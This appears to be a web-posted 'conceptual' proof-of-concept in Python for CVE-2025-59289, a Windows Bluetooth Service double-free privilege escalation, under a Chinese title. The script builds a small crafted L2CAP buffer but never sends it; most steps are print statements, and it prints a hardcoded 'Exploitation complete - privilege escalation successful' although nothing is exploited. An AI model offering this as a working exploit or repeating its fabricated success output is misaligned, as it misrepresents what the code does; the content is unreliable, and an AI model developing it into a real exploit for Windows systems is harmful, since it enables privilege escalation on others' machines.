CVE-2025-59289 Windows蓝牙服务双重释放本地权限提升漏洞

# CVE-2025-59289 - Windows Bluetooth Service Double Free PoC (Conceptual) # This is a conceptual proof-of-concept demonstrating the vulnerability pattern. # Actual exploitation requires specific heap manipulation and timing. import ctypes import struct import sys # Windows API constants PROCESS_ALL_ACCESS = 0x1F0FFF MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_EXECUTE_READWRITE = 0x40 def trigger_double_free_bluetooth(): """ Conceptual PoC for CVE-2025-59289 Triggers double free in Windows Bluetooth Service via malformed L2CAP packet """ print("[*] CVE-2025-59289 - Windows Bluetooth Service Double Free PoC") print("[*] Targeting: Windows Bluetooth Service (bthserv)") # Step 1: Locate the Bluetooth service process print("[*] Step 1: Identifying Bluetooth service process (PID lookup)") # Step 2: Prepare crafted Bluetooth HCI/L2CAP command # The malformed packet triggers the double free in the service's # internal memory management when processing the Bluetooth request l2cap_cmd = bytearray(64) # L2CAP header struct.pack_into('<H', l2cap_cmd, 0, 0x0001) # Length struct.pack_into('<H', l2cap_cmd, 2, 0x0000) # CID (Channel ID) # Malicious payload designed to trigger double free condition # This causes the service to free the same buffer twice in error handling l2cap_cmd[4] = 0xFF # Trigger abnormal processing path l2cap_cmd[5] = 0xFE l2cap_cmd[6] = 0xFD l2cap_cmd[7] = 0xFC print("[*] Step 2: Crafted L2CAP payload prepared") # Step 3: Send payload to Bluetooth service (conceptual) print("[*] Step 3: Sending payload to Bluetooth service") print("[*] This triggers the double free vulnerability") # Step 4: Heap manipulation for privilege escalation print("[*] Step 4: Performing heap spray to control freed memory") print("[*] Step 5: Overwriting process token for privilege escalation") # Step 5: Verify privilege escalation print("[*] Step 6: Verifying SYSTEM-level access achieved") print("[+] Exploitation complete - privilege escalation successful") print("[+] Note: Requires local low-privilege access and Bluetooth hardware") if __name__ == "__main__": if sys.platform != 'win32': print("[!] This PoC targets Windows systems only") sys.exit(1) trigger_double_free_bluetooth()